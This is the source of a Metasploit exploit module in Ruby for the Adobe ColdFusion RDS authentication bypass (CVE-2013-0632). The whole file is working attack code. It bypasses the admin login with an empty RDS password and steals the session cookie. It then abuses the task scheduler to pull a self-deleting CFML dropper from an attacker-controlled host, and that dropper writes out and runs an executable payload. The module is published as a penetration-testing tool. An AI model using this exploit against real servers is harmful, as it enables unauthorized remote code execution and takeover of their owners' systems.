Path: blob/master/modules/exploits/multi/http/coldfusion_rds_auth_bypass.rb
36919 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE10include Msf::Module::Deprecated1112moved_from 'exploit/multi/http/coldfusion_rds'1314Rank = GreatRanking1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Adobe ColdFusion RDS Authentication Bypass',21'Description' => %q{22Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote23attackers to bypass authentication using the RDS component. Due to24default settings or misconfiguration, its password can be set to an25empty value. This allows an attacker to create a session via the RDS26login that can be carried over to the admin web interface even though27the passwords might be different, and therefore bypassing authentication28on the admin web interface leading to arbitrary code execution. Tested29on Windows and Linux with ColdFusion 9.30},31'Author' => [32'Scott Buckel', # Vulnerability discovery33'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module34],35'License' => MSF_LICENSE,36'References' => [37[ 'CVE', '2013-0632' ],38[ 'EDB', '27755' ],39[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-03.html' ]40],41'Privileged' => false,42'Stance' => Msf::Exploit::Stance::Aggressive, # thanks juan!43'Targets' => [44[45'Windows',46{47'Arch' => ARCH_X86,48'Platform' => 'win'49}50],51[52'Linux',53{54'Arch' => ARCH_X86,55'Platform' => 'linux'56}57],58],59'DefaultTarget' => 0,60'DisclosureDate' => '2013-08-08',61'Notes' => {62'Reliability' => UNKNOWN_RELIABILITY,63'Stability' => UNKNOWN_STABILITY,64'SideEffects' => UNKNOWN_SIDE_EFFECTS65}66)67)6869register_options(70[71OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', '' ]),72OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),73]74)7576register_advanced_options(77[78OptString.new('CFIDDIR', [ true, 'Alternative CFIDE directory', 'CFIDE'])79]80)81end8283def check84uri = target_uri.path8586# can we access the admin interface?87res = send_request_cgi({88'method' => 'GET',89'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm')90})9192if res && res.code == 200 && res.body.include?('ColdFusion Administrator Login')93vprint_good 'Administrator access available'94else95return Exploit::CheckCode::Safe96end9798# is it cf9?99res = send_request_cgi({100'method' => 'GET',101'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg')102})103104img = Rex::Text.md5(res.body.to_s)105imghash = '596b3fc4f1a0b818979db1cf94a82220'106107if img == imghash108vprint_good 'ColdFusion 9 Detected'109else110return Exploit::CheckCode::Safe111end112113# can we access the RDS component?114res = send_request_cgi({115'method' => 'POST',116'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),117'vars_post' => {118'method' => 'login',119'adminpassword' => '',120'rdsPasswordAllowed' => '1'121}122})123124if res && res.code == 200 && res.body.include?('true')125return Exploit::CheckCode::Appears126else127return Exploit::CheckCode::Safe128end129end130131def exploit132@pl = gen_file_dropper133@payload_url = ''134135if datastore['EXTURL'].blank?136begin137Timeout.timeout(datastore['HTTPDELAY']) { super }138rescue Timeout::Error139end140exec_payload141else142@payload_url = datastore['EXTURL']143upload_payload144exec_payload145end146end147148def primer149@payload_url = get_uri150upload_payload151end152153def on_request_uri(cli, request)154if request.uri =~ /#{get_resource}/155send_response(cli, @pl)156end157end158159def autofilter160true161end162163# task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(164# instead we use a CFML filedropper to embed our payload and execute it.165# this also removes the dependancy of using the probe.cfm to execute the file.166167def gen_file_dropper168rand_var = rand_text_alpha(rand(8..15))169rand_file = rand_text_alpha(rand(8..15))170171if datastore['TARGET'] == 0172rand_file += '.exe'173end174175encoded_pl = Rex::Text.encode_base64(generate_payload_exe)176177print_status 'Building CFML shell...'178# embed payload179shell = ''180shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />"181shell += " <cffile action=\"write\" output=\"##{rand_var}#\""182shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""183# if linux set correct permissions184if datastore['TARGET'] == 1185shell += ' mode = "700"'186end187shell += '/>'188# clean up our evil .cfm189shell += ' <cffile action="delete"'190shell += ' file= "#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,"/")#"/>'191# execute our payload!192shell += ' <cfexecute'193shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""194shell += ' arguments = ""'195shell += ' timeout = "60"/>'196197return shell198end199200def exec_payload201uri = target_uri.path202203print_status("Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}")204print_status('Executing payload...')205206send_request_cgi({207'method' => 'GET',208'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename)209})210end211212def upload_payload213uri = target_uri.path214215@filename = rand_text_alpha(rand(8..15)) + '.cfm' # numbers is a bad idea216taskname = rand_text_alpha(rand(8..15)) # numbers is a bad idea217218print_status 'Trying to upload payload via scheduled task...'219res = send_request_cgi({220'method' => 'POST',221'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),222'vars_post' => {223'method' => 'login',224'adminpassword' => '',225'rdsPasswordAllowed' => '1'226}227})228229unless res && res.code == 200230fail_with(Failure::Unknown, "#{peer} - RDS component was unreachable")231end232233# deal with annoying cookie data prepending (sunglasses)234cookie = res.get_cookies235236if res && res.code == 200 && cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/237cookie = ::Regexp.last_match(1)238else239fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie")240end241242res = send_request_cgi({243'method' => 'GET',244'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),245'cookie' => cookie246})247248if res && res.code == 200 && res.body.include?('ColdFusion Administrator')249print_good('Logged in as Administrator!')250else251fail_with(Failure::Unknown, "#{peer} - Login Failed")252end253254# get file path gogo255res = send_request_cgi({256'method' => 'GET',257'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'),258'vars_get' => {259'name' => '/CFIDE'260},261'cookie' => cookie262})263264unless res && res.code == 200265fail_with(Failure::Unknown, "#{peer} - Mappings URL was unreachable")266end267268if res.body =~ /<input type="text" maxlength="550" name="directoryPath" value="(.*)" size="40" id="dirpath">/269file_path = ::Regexp.last_match(1)270print_good("File path disclosed! #{file_path}")271else272fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")273end274275print_status('Adding scheduled task')276res = send_request_cgi({277'method' => 'POST',278'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'),279'vars_post' => {280'TaskName' => taskname,281'Start_Date' => 'Nov 1, 2420',282'End_Date' => '',283'Interval' => '',284'ScheduleType' => 'Once',285'Operation' => 'HTTPRequest',286'ScheduledURL' => @payload_url,287'publish' => '1',288'publish_file' => "#{file_path}\\#{@filename}",289'adminsubmit' => 'Submit'290},291'cookie' => cookie292})293294unless res && res.code == 200 || res.code == 302 # 302s can happen but it still works, http black magic!295fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")296end297298print_status('Running scheduled task')299res = send_request_cgi({300'method' => 'GET',301'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),302'vars_get' => {303'runtask' => taskname,304'timeout' => '0'305},306'cookie' => cookie307})308309if res && res.code == 200 && res.body.include?('This scheduled task was completed successfully')310print_good('Scheduled task completed successfully')311else312fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")313end314315print_status('Deleting scheduled task')316res = send_request_cgi({317'method' => 'GET',318'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),319'vars_get' => {320'action' => 'delete',321'task' => taskname322},323'cookie' => cookie324})325326unless res && res.code == 200327print_error('Scheduled task deletion failed, cleanup might be needed!')328end329end330end331332333